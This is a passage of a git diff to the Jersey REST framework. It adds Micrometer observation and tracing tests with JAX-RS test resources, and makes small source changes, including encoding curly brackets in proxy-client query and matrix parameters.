+        sender = URLConnectionSender.create("http://localhost:9411/api/v2/spans");
+
+        observationRegistry.observationConfig().observationHandler(new DefaultMeterObservationHandler(registry));
+
+        configureRegistry(observationRegistry);
+
+        final ObservationApplicationEventListener listener =
+                new ObservationApplicationEventListener(observationRegistry, METRIC_NAME);
+
+        final ResourceConfig config = new ResourceConfig();
+        config.register(listener);
+        config.register(TestResource.class);
+
+        return config;
+    }
+
+    abstract void configureRegistry(ObservationRegistry registry);
+
+    abstract List<FinishedSpan> getFinishedSpans();
+
+    boolean isZipkinAvailable() {
+        if (zipkinAvailable == null) {
+            CheckResult checkResult = sender.check();
+            zipkinAvailable = checkResult.ok();
+        }
+        return zipkinAvailable;
+    }
+
+    void setupTracing(Tracer tracer, Propagator propagator) {
+        observationRegistry.observationConfig()
+                .observationHandler(new FirstMatchingCompositeObservationHandler(
+                new PropagatingSenderTracingObservationHandler<>(tracer, propagator),
+                new PropagatingReceiverTracingObservationHandler<>(tracer, propagator),
+                new DefaultTracingObservationHandler(tracer)));
+    }
+
+    @Test
+    void resourcesAreTimed() {
+        target("sub-resource/sub-hello/peter").request().get();
+
+        assertThat(registry.get(METRIC_NAME)
+                .tags(tagsFrom("/sub-resource/sub-hello/{name}", "200", "SUCCESS", null))
+                .timer()
+                .count()).isEqualTo(1);
+        // Timer and Long Task Timer
+        assertThat(registry.getMeters()).hasSize(2);
+
+        List<FinishedSpan> finishedSpans = getFinishedSpans();
+        SpansAssert.assertThat(finishedSpans).hasSize(1);
+        FinishedSpan finishedSpan = finishedSpans.get(0);
+        System.out.println("Trace Id [" + finishedSpan.getTraceId() + "]");
+        SpanAssert.assertThat(finishedSpan)
+                .hasNameEqualTo("HTTP GET")
+                .hasTag("exception", "None")
+                .hasTag("method", "GET")
+                .hasTag("outcome", "SUCCESS")
+                .hasTag("status", "200")
+                .hasTag("uri", "/sub-resource/sub-hello/{name}");
+    }
+
+    private static Iterable<Tag> tagsFrom(String uri, String status, String outcome, String exception) {
+        return Tags.of("method", "GET", "uri", uri, "status", status, "outcome", outcome, "exception",
+                exception == null ? "None" : exception);
+    }
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
new file mode 100644
index 0000000..0490129
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/observation/ObservationApplicationEventListenerTest.java
@@ -0,0 +1,197 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.observation;
+
+import java.util.Collections;
+import java.util.List;
+import java.util.stream.Collectors;
+
+import brave.Tracing;
+import brave.Tracing.Builder;
+import brave.context.slf4j.MDCScopeDecorator;
+import brave.handler.SpanHandler;
+import brave.propagation.B3Propagation;
+import brave.propagation.B3Propagation.Format;
+import brave.propagation.ThreadLocalCurrentTraceContext;
+import brave.sampler.Sampler;
+import brave.test.TestSpanHandler;
+import io.micrometer.observation.ObservationRegistry;
+import io.micrometer.tracing.CurrentTraceContext;
+import io.micrometer.tracing.Tracer;
+import io.micrometer.tracing.brave.bridge.BraveBaggageManager;
+import io.micrometer.tracing.brave.bridge.BraveCurrentTraceContext;
+import io.micrometer.tracing.brave.bridge.BraveFinishedSpan;
+import io.micrometer.tracing.brave.bridge.BravePropagator;
+import io.micrometer.tracing.brave.bridge.BraveTracer;
+import io.micrometer.tracing.exporter.FinishedSpan;
+import io.micrometer.tracing.otel.bridge.ArrayListSpanProcessor;
+import io.micrometer.tracing.otel.bridge.OtelBaggageManager;
+import io.micrometer.tracing.otel.bridge.OtelCurrentTraceContext;
+import io.micrometer.tracing.otel.bridge.OtelFinishedSpan;
+import io.micrometer.tracing.otel.bridge.OtelPropagator;
+import io.micrometer.tracing.otel.bridge.OtelTracer;
+import io.micrometer.tracing.otel.bridge.Slf4JBaggageEventListener;
+import io.micrometer.tracing.otel.bridge.Slf4JEventListener;
+import io.opentelemetry.api.common.Attributes;
+import io.opentelemetry.context.propagation.ContextPropagators;
+import io.opentelemetry.exporter.zipkin.ZipkinSpanExporterBuilder;
+import io.opentelemetry.extension.trace.propagation.B3Propagator;
+import io.opentelemetry.sdk.OpenTelemetrySdk;
+import io.opentelemetry.sdk.resources.Resource;
+import io.opentelemetry.sdk.trace.SdkTracerProvider;
+import io.opentelemetry.sdk.trace.SdkTracerProviderBuilder;
+import io.opentelemetry.sdk.trace.export.SimpleSpanProcessor;
+import io.opentelemetry.sdk.trace.export.SpanExporter;
+import io.opentelemetry.semconv.resource.attributes.ResourceAttributes;
+import org.glassfish.jersey.micrometer.server.ObservationApplicationEventListener;
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.Nested;
+import zipkin2.Span;
+import zipkin2.reporter.AsyncReporter;
+import zipkin2.reporter.brave.ZipkinSpanHandler;
+
+import static io.opentelemetry.sdk.trace.samplers.Sampler.alwaysOn;
+
+/**
+ * Tests for {@link ObservationApplicationEventListener}.
+ *
+ * @author Marcin Grzejsczak
+ */
+class ObservationApplicationEventListenerTest {
+
+    @Nested
+    class BraveObservationRequestEventListenerTest extends AbstractObservationRequestEventListenerTest {
+
+        Tracing tracing;
+
+        TestSpanHandler testSpanHandler;
+
+        AsyncReporter<Span> reporter;
+
+        @Override
+        void configureRegistry(ObservationRegistry registry) {
+            testSpanHandler = new TestSpanHandler();
+
+            reporter = AsyncReporter.create(sender);
+
+            SpanHandler spanHandler = ZipkinSpanHandler
+                    .create(reporter);
+
+            ThreadLocalCurrentTraceContext braveCurrentTraceContext = ThreadLocalCurrentTraceContext.newBuilder()
+                    .addScopeDecorator(MDCScopeDecorator.get()) // Example of Brave's
+                    // automatic MDC setup
+                    .build();
+
+            CurrentTraceContext bridgeContext = new BraveCurrentTraceContext(braveCurrentTraceContext);
+
+            Builder builder = Tracing.newBuilder()
+                    .currentTraceContext(braveCurrentTraceContext)
+                    .supportsJoin(false)
+                    .traceId128Bit(true)
+                    .propagationFactory(B3Propagation.newFactoryBuilder().injectFormat(Format.SINGLE).build())
+                    .sampler(Sampler.ALWAYS_SAMPLE)
+                    .addSpanHandler(testSpanHandler)
+                    .localServiceName("brave-test");
+
+            if (isZipkinAvailable()) {
+                builder.addSpanHandler(spanHandler);
+            }
+
+            tracing = builder
+                    .build();
+            brave.Tracer braveTracer = tracing.tracer();
+            Tracer tracer = new BraveTracer(braveTracer, bridgeContext, new BraveBaggageManager());
+            BravePropagator bravePropagator = new BravePropagator(tracing);
+            setupTracing(tracer, bravePropagator);
+        }
+
+        @Override
+        List<FinishedSpan> getFinishedSpans() {
+            return testSpanHandler.spans().stream().map(BraveFinishedSpan::new).collect(Collectors.toList());
+        }
+
+        @AfterEach
+        void cleanup() {
+            if (isZipkinAvailable()) {
+                reporter.flush();
+                reporter.close();
+            }
+            tracing.close();
+        }
+    }
+
+    @Nested
+    class OtelObservationRequestEventListenerTest extends AbstractObservationRequestEventListenerTest {
+
+        SdkTracerProvider sdkTracerProvider;
+
+        ArrayListSpanProcessor processor;
+
+        @Override
+        void configureRegistry(ObservationRegistry registry) {
+            processor = new ArrayListSpanProcessor();
+
+            SpanExporter spanExporter = new ZipkinSpanExporterBuilder()
+                    .setSender(sender)
+                    .build();
+
+            SdkTracerProviderBuilder builder = SdkTracerProvider.builder()
+                    .setSampler(alwaysOn())
+                    .addSpanProcessor(processor)
+                    .setResource(Resource.create(Attributes.of(ResourceAttributes.SERVICE_NAME, "otel-test")));
+
+            if (isZipkinAvailable()) {
+                builder.addSpanProcessor(SimpleSpanProcessor.create(spanExporter));
+            }
+
+            sdkTracerProvider = builder
+                    .build();
+
+            ContextPropagators contextPropagators = ContextPropagators.create(B3Propagator.injectingSingleHeader());
+
+            OpenTelemetrySdk openTelemetrySdk = OpenTelemetrySdk.builder()
+                    .setTracerProvider(sdkTracerProvider)
+                    .setPropagators(contextPropagators)
+                    .build();
+
+            io.opentelemetry.api.trace.Tracer otelTracer = openTelemetrySdk.getTracerProvider()
+                    .get("io.micrometer.micrometer-tracing");
+
+            OtelCurrentTraceContext otelCurrentTraceContext = new OtelCurrentTraceContext();
+
+            Slf4JEventListener slf4JEventListener = new Slf4JEventListener();
+
+            Slf4JBaggageEventListener slf4JBaggageEventListener = new Slf4JBaggageEventListener(Collections.emptyList());
+
+            OtelTracer tracer = new OtelTracer(otelTracer, otelCurrentTraceContext, event -> {
+                slf4JEventListener.onEvent(event);
+                slf4JBaggageEventListener.onEvent(event);
+            }, new OtelBaggageManager(otelCurrentTraceContext, Collections.emptyList(), Collections.emptyList()));
+            OtelPropagator otelPropagator = new OtelPropagator(contextPropagators, otelTracer);
+            setupTracing(tracer, otelPropagator);
+        }
+
+        @Override
+        List<FinishedSpan> getFinishedSpans() {
+            return processor.spans().stream().map(OtelFinishedSpan::fromOtel).collect(Collectors.toList());
+        }
+
+        @AfterEach
+        void cleanup() {
+            sdkTracerProvider.close();
+        }
+    }
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java
new file mode 100644
index 0000000..41e529d
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TestResource.java
@@ -0,0 +1,106 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.resources;
+
+import java.net.URI;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.NotAuthorizedException;
+import jakarta.ws.rs.NotFoundException;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.PathParam;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.RedirectionException;
+import jakarta.ws.rs.core.MediaType;
+import jakarta.ws.rs.core.Response;
+import jakarta.ws.rs.core.Response.Status;
+
+import org.glassfish.jersey.micrometer.server.exception.ResourceGoneException;
+
+/**
+ * @author Michael Weirauch
+ */
+@Path("/")
+@Produces(MediaType.TEXT_PLAIN)
+public class TestResource {
+
+    @Produces(MediaType.TEXT_PLAIN)
+    public static class SubResource {
+
+        @GET
+        @Path("sub-hello/{name}")
+        public String hello(@PathParam("name") String name) {
+            return "hello " + name;
+        }
+
+    }
+
+    @GET
+    public String index() {
+        return "index";
+    }
+
+    @GET
+    @Path("hello")
+    public String hello() {
+        return "hello";
+    }
+
+    @GET
+    @Path("hello/{name}")
+    public String hello(@PathParam("name") String name) {
+        return "hello " + name;
+    }
+
+    @GET
+    @Path("throws-not-found-exception")
+    public String throwsNotFoundException() {
+        throw new NotFoundException();
+    }
+
+    @GET
+    @Path("throws-exception")
+    public String throwsException() {
+        throw new IllegalArgumentException();
+    }
+
+    @GET
+    @Path("throws-webapplication-exception")
+    public String throwsWebApplicationException() {
+        throw new NotAuthorizedException("notauth", Response.status(Status.UNAUTHORIZED).build());
+    }
+
+    @GET
+    @Path("throws-mappable-exception")
+    public String throwsMappableException() {
+        throw new ResourceGoneException("Resource has been permanently removed.");
+    }
+
+    @GET
+    @Path("redirect/{status}")
+    public Response redirect(@PathParam("status") int status) {
+        if (status == 307) {
+            throw new RedirectionException(status, URI.create("hello"));
+        }
+        return Response.status(status).header("Location", "/hello").build();
+    }
+
+    @Path("/sub-resource")
+    public SubResource subResource() {
+        return new SubResource();
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java
new file mode 100644
index 0000000..20f92fb
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedOnClassResource.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.resources;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.core.MediaType;
+
+import io.micrometer.core.annotation.Timed;
+
+/**
+ * @author Michael Weirauch
+ */
+@Path("/class")
+@Produces(MediaType.TEXT_PLAIN)
+@Timed(extraTags = { "on", "class" })
+public class TimedOnClassResource {
+
+    @GET
+    @Path("inherited")
+    public String inherited() {
+        return "inherited";
+    }
+
+    @GET
+    @Path("on-method")
+    @Timed(extraTags = { "on", "method" })
+    public String onMethod() {
+        return "on-method";
+    }
+
+}
diff --git a/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java
new file mode 100644
index 0000000..cbf4495
--- /dev/null
+++ b/ext/micrometer/src/test/java/org/glassfish/jersey/micrometer/server/resources/TimedResource.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (c) 2023 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+package org.glassfish.jersey.micrometer.server.resources;
+
+import java.util.concurrent.CountDownLatch;
+
+import jakarta.ws.rs.GET;
+import jakarta.ws.rs.Path;
+import jakarta.ws.rs.Produces;
+import jakarta.ws.rs.core.MediaType;
+
+import io.micrometer.core.annotation.Timed;
+
+import static java.util.Objects.requireNonNull;
+
+/**
+ * @author Michael Weirauch
+ */
+@Path("/")
+@Produces(MediaType.TEXT_PLAIN)
+public class TimedResource {
+
+    private final CountDownLatch longTaskRequestStartedLatch;
+
+    private final CountDownLatch longTaskRequestReleaseLatch;
+
+    public TimedResource(CountDownLatch longTaskRequestStartedLatch, CountDownLatch longTaskRequestReleaseLatch) {
+        this.longTaskRequestStartedLatch = requireNonNull(longTaskRequestStartedLatch);
+        this.longTaskRequestReleaseLatch = requireNonNull(longTaskRequestReleaseLatch);
+    }
+
+    @GET
+    @Path("not-timed")
+    public String notTimed() {
+        return "not-timed";
+    }
+
+    @GET
+    @Path("timed")
+    @Timed
+    public String timed() {
+        return "timed";
+    }
+
+    @GET
+    @Path("multi-timed")
+    @Timed("multi1")
+    @Timed("multi2")
+    public String multiTimed() {
+        return "multi-timed";
+    }
+
+    /*
+     * Async server side processing (AsyncResponse) is not supported in the in-memory test
+     * container.
+     */
+    @GET
+    @Path("long-timed")
+    @Timed
+    @Timed(value = "long.task.in.request", longTask = true)
+    public String longTimed() {
+        longTaskRequestStartedLatch.countDown();
+        try {
+            longTaskRequestReleaseLatch.await();
+        }
+        catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+        return "long-timed";
+    }
+
+    @GET
+    @Path("just-long-timed")
+    @Timed(value = "long.task.in.request", longTask = true)
+    public String justLongTimed() {
+        longTaskRequestStartedLatch.countDown();
+        try {
+            longTaskRequestReleaseLatch.await();
+        }
+        catch (InterruptedException e) {
+            throw new RuntimeException(e);
+        }
+        return "long-timed";
+    }
+
+    @GET
+    @Path("long-timed-unnamed")
+    @Timed
+    @Timed(longTask = true)
+    public String longTimedUnnamed() {
+        return "long-timed-unnamed";
+    }
+
+}
diff --git a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java
index b785d06..7b6103e 100644
--- a/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java
+++ b/ext/microprofile/mp-rest-client/src/main/java/org/glassfish/jersey/microprofile/restclient/SseEventPublisher.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2021, 2023 Oracle and/or its affiliates. All rights reserved.
  * Copyright (c) 2021 Payara Foundation and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
@@ -66,7 +66,7 @@
 
         this.executor = executor;
         this.genericType = genericType;
-        this.publisher = new JerseyPublisher<>(executor::submit, JerseyPublisher.PublisherStrategy.BEST_EFFORT);
+        this.publisher = new JerseyPublisher<>(executor::submit, JerseyPublisher.PublisherStrategy.BLOCKING);
     }
 
     private static final Logger LOG = Logger.getLogger(SseEventPublisher.class.getName());
diff --git a/ext/microprofile/pom.xml b/ext/microprofile/pom.xml
index 3aea324..fa35af4 100644
--- a/ext/microprofile/pom.xml
+++ b/ext/microprofile/pom.xml
@@ -36,5 +36,4 @@
         <module>mp-config</module>
     </modules>
 
-
-</project>
+</project>
\ No newline at end of file
diff --git a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
index b20c86a..ed0c590 100644
--- a/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
+++ b/ext/mvc/src/main/java/org/glassfish/jersey/server/mvc/spi/AbstractTemplateProcessor.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2013, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2013, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -16,13 +16,13 @@
 
 package org.glassfish.jersey.server.mvc.spi;
 
-import java.io.FileInputStream;
-import java.io.FileNotFoundException;
+import java.io.File;
 import java.io.IOException;
 import java.io.InputStream;
 import java.io.InputStreamReader;
 import java.io.Reader;
 import java.nio.charset.Charset;
+import java.nio.file.Files;
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.Collection;
@@ -182,8 +182,8 @@
             // File-system path.
             if (reader == null) {
                 try {
-                    reader = new InputStreamReader(new FileInputStream(template), encoding);
-                } catch (final FileNotFoundException fnfe) {
+                    reader = new InputStreamReader(Files.newInputStream(new File(template).toPath()), encoding);
+                } catch (final IOException ioe) {
                     // NOOP.
                 }
             }
diff --git a/ext/pom.xml b/ext/pom.xml
index db36d83..c3076f5 100644
--- a/ext/pom.xml
+++ b/ext/pom.xml
@@ -44,6 +44,7 @@
         <module>cdi</module>
         <module>entity-filtering</module>
         <module>metainf-services</module>
+        <module>micrometer</module>
         <module>mvc</module>
         <module>mvc-bean-validation</module>
         <module>mvc-freemarker</module>
diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
index 6457dd7..6bca315 100644
--- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
+++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/RequestParameters.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -39,6 +39,7 @@
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.HashMap;
+import java.util.Iterator;
 import java.util.LinkedList;
 import java.util.List;
 import java.util.Map;
@@ -61,8 +62,7 @@
     RequestParameters(final WebTarget newTarget, final MultivaluedMap<String, Object> headers,
                              final List<Cookie> cookies, final Form form) {
 
-        this.headers = new MultivaluedHashMap<>();
-        this.headers.putAll(headers);
+        this.headers = new MultivaluedHashMap<String, Object>(headers);
         this.cookies = new LinkedList<>(cookies);
         this.form = new Form();
         this.form.asMap().putAll(form.asMap());
@@ -73,72 +73,72 @@
     void addParameter(final Object value, final Map<Class<?>, Annotation> anns)
             throws IntrospectionException, InvocationTargetException, IllegalAccessException {
 
-            Annotation ann;
-            if ((ann = anns.get(PathParam.class)) != null) {
-                newTarget = newTarget.resolveTemplate(((PathParam) ann).value(), value);
-            } else if ((ann = anns.get((QueryParam.class))) != null) {
-                if (value instanceof Collection) {
-                    newTarget = newTarget.queryParam(((QueryParam) ann).value(), convert((Collection<?>) value));
-                } else {
-                    newTarget = newTarget.queryParam(((QueryParam) ann).value(), value);
-                }
-            } else if ((ann = anns.get((HeaderParam.class))) != null) {
-                if (value instanceof Collection) {
-                    headers.addAll(((HeaderParam) ann).value(), convert((Collection<?>) value));
-                } else {
-                    headers.addAll(((HeaderParam) ann).value(), value);
-                }
+        Annotation ann;
+        if ((ann = anns.get(PathParam.class)) != null) {
+            newTarget = newTarget.resolveTemplate(((PathParam) ann).value(), value);
+        } else if ((ann = anns.get((QueryParam.class))) != null) {
+            if (value instanceof Collection) {
+                newTarget = newTarget.queryParam(((QueryParam) ann).value(), convert((Collection<?>) value, true));
+            } else {
+                newTarget = newTarget.queryParam(((QueryParam) ann).value(), encodeTemplate(value));
+            }
+        } else if ((ann = anns.get((HeaderParam.class))) != null) {
+            if (value instanceof Collection) {
+                headers.addAll(((HeaderParam) ann).value(), convert((Collection<?>) value, false));
+            } else {
+                headers.addAll(((HeaderParam) ann).value(), value);
+            }
 
-            } else if ((ann = anns.get((CookieParam.class))) != null) {
-                final String name = ((CookieParam) ann).value();
-                Cookie c;
-                if (value instanceof Collection) {
-                    for (final Object v : ((Collection<?>) value)) {
-                        if (!(v instanceof Cookie)) {
-                            c = new Cookie(name, v.toString());
-                        } else {
-                            c = (Cookie) v;
-                            if (!name.equals(((Cookie) v).getName())) {
-                                // is this the right thing to do? or should I fail? or ignore the difference?
-                                c = new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion());
-                            }
-                        }
-                        cookies.add(c);
-                    }
-                } else {
-                    if (!(value instanceof Cookie)) {
-                        cookies.add(new Cookie(name, value.toString()));
+        } else if ((ann = anns.get((CookieParam.class))) != null) {
+            final String name = ((CookieParam) ann).value();
+            Cookie c;
+            if (value instanceof Collection) {
+                for (final Object v : ((Collection<?>) value)) {
+                    if (!(v instanceof Cookie)) {
+                        c = new Cookie(name, v.toString());
                     } else {
-                        c = (Cookie) value;
-                        if (!name.equals(((Cookie) value).getName())) {
+                        c = (Cookie) v;
+                        if (!name.equals(((Cookie) v).getName())) {
                             // is this the right thing to do? or should I fail? or ignore the difference?
-                            cookies.add(new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion()));
+                            c = new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion());
                         }
                     }
+                    cookies.add(c);
                 }
-            } else if ((ann = anns.get((MatrixParam.class))) != null) {
-                if (value instanceof Collection) {
-                    newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), convert((Collection<?>) value));
+            } else {
+                if (!(value instanceof Cookie)) {
+                    cookies.add(new Cookie(name, value.toString()));
                 } else {
-                    newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), value);
-                }
-            } else if ((ann = anns.get((FormParam.class))) != null) {
-                if (value instanceof Collection) {
-                    for (final Object v : ((Collection<?>) value)) {
-                        form.param(((FormParam) ann).value(), v.toString());
+                    c = (Cookie) value;
+                    if (!name.equals(((Cookie) value).getName())) {
+                        // is this the right thing to do? or should I fail? or ignore the difference?
+                        cookies.add(new Cookie(name, c.getValue(), c.getPath(), c.getDomain(), c.getVersion()));
                     }
-                } else {
-                    form.param(((FormParam) ann).value(), value.toString());
-                }
-            } else if ((anns.get((BeanParam.class))) != null) {
-                if (value instanceof Collection) {
-                    for (final Object v : ((Collection<?>) value)) {
-                        addBeanParameter(v);
-                    }
-                } else {
-                    addBeanParameter(value);
                 }
             }
+        } else if ((ann = anns.get((MatrixParam.class))) != null) {
+            if (value instanceof Collection) {
+                newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), convert((Collection<?>) value, true));
+            } else {
+                newTarget = newTarget.matrixParam(((MatrixParam) ann).value(), encodeTemplate(value));
+            }
+        } else if ((ann = anns.get((FormParam.class))) != null) {
+            if (value instanceof Collection) {
+                for (final Object v : ((Collection<?>) value)) {
+                    form.param(((FormParam) ann).value(), v.toString());
+                }
+            } else {
+                form.param(((FormParam) ann).value(), value.toString());
+            }
+        } else if ((anns.get((BeanParam.class))) != null) {
+            if (value instanceof Collection) {
+                for (final Object v : ((Collection<?>) value)) {
+                    addBeanParameter(v);
+                }
+            } else {
+                addBeanParameter(value);
+            }
+        }
     }
 
     private void addBeanParameter(final Object beanParam)
@@ -159,17 +159,17 @@
             if (hasAnyParamAnnotation(anns)) {
                 value = field.get(beanParam);
             } else {
-                   // get getter annotations if there are no field annotations
-                   for (final PropertyDescriptor pd : Introspector.getBeanInfo(beanClass).getPropertyDescriptors()) {
-                       if (pd.getName().equals(field.getName()) && pd.getReadMethod() != null) {
-                           for (final Annotation ann : pd.getReadMethod().getAnnotations()) {
-                                anns.put(ann.annotationType(), ann);
-                            }
-                            if (hasAnyParamAnnotation(anns)) {
-                                value = pd.getReadMethod().invoke(beanParam);
-                            }
-                       }
-                   }
+                // get getter annotations if there are no field annotations
+                for (final PropertyDescriptor pd : Introspector.getBeanInfo(beanClass).getPropertyDescriptors()) {
+                    if (pd.getName().equals(field.getName()) && pd.getReadMethod() != null) {
+                        for (final Annotation ann : pd.getReadMethod().getAnnotations()) {
+                            anns.put(ann.annotationType(), ann);
+                        }
+                        if (hasAnyParamAnnotation(anns)) {
+                            value = pd.getReadMethod().invoke(beanParam);
+                        }
+                    }
+                }
             }
 
             if (value != null) {
@@ -188,8 +188,23 @@
         return fields;
     }
 
-    private Object[] convert(final Collection<?> value) {
-        return value.toArray();
+    private Object[] convert(Collection<?> value, boolean encode) {
+        Object[] array = new Object[value.size()];
+        int index = 0;
+        for (Iterator<?> it = value.iterator(); it.hasNext();) {
+            Object o = it.next();
+            array[index++] = o == null ? o : (encode ? encodeTemplate(o) : o.toString());
+        }
+        return array;
+    }
+
+    /**
+     * The Query and Matrix arguments are never templates
+     * @param notNull an Object that is not null
+     * @return encoded curly brackets within the string representation of the {@code notNull}
+     */
+    private String encodeTemplate(Object notNull) {
+        return notNull.toString().replace("{", "%7B").replace("}", "%7D");
     }
 
     public static boolean hasAnyParamAnnotation(final Map<Class<?>, Annotation> anns) {
diff --git a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java
index b1cecb7..5d30929 100644
--- a/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java
+++ b/ext/proxy-client/src/main/java/org/glassfish/jersey/client/proxy/WebResourceFactory.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2021 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -293,4 +293,4 @@
         final HttpMethod a = ae.getAnnotation(HttpMethod.class);
         return a == null ? null : a.value();
     }
-}
+}
\ No newline at end of file
diff --git a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java
index 1426dc2..9f5443c 100644
--- a/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java
+++ b/ext/proxy-client/src/test/java/org/glassfish/jersey/client/proxy/MyBean.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
